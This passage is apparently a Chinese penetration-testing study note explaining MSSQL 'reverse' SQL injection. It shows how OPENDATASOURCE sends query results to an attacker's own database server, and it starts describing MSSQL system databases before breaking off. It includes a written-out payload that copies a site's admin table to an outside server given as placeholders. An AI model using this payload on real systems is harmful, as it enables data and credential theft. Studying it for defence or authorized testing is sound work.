MSSQL反弹注入
SQL注入回顾:网络安全笔记-99-渗透-SQL注入
使用场景
明明是SQL注入点,但是使用工具注入缓慢,或者错误提示信息关闭,无法返回注入结果等。较好的解决办法就是使用反弹注入。
核心
反弹注入的核心就是opendatasouce()函数。
将查询的数据结果插入到我们自己的数据库中。
opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
语法:
OPENDATASOURCE(provider_name,init_string)
provider_name
注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 , MSSQL的名称为SQLOLEDB
init_string:连接字符串 :
( 连接地址、端口、用户名、密码、数据库名)
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称
insert into opendatasource('sqloledb','server=xxxx,1433;uid=xx;pwd=xxx;database=xxx').DB_14A5E44_zkaq.dbo.temp select * from admin --+
MSSQL系统数据库
- Master:Master数据库保存有放在SQLSERVER实体上的所有数据库
- tempdb:tempdb存有临时对象,例如全局和本地临时表格和存储过程。 这个数据库在SQLSERVER每次重启的时候都会被重新创建,而其中包含的对象是依据模型数据库里定义的对象被创建的
上面两个数据库是默认都有的。
- Model:Model是一个用来在实体上创建新用户数据库的模版数据库。你可以把任何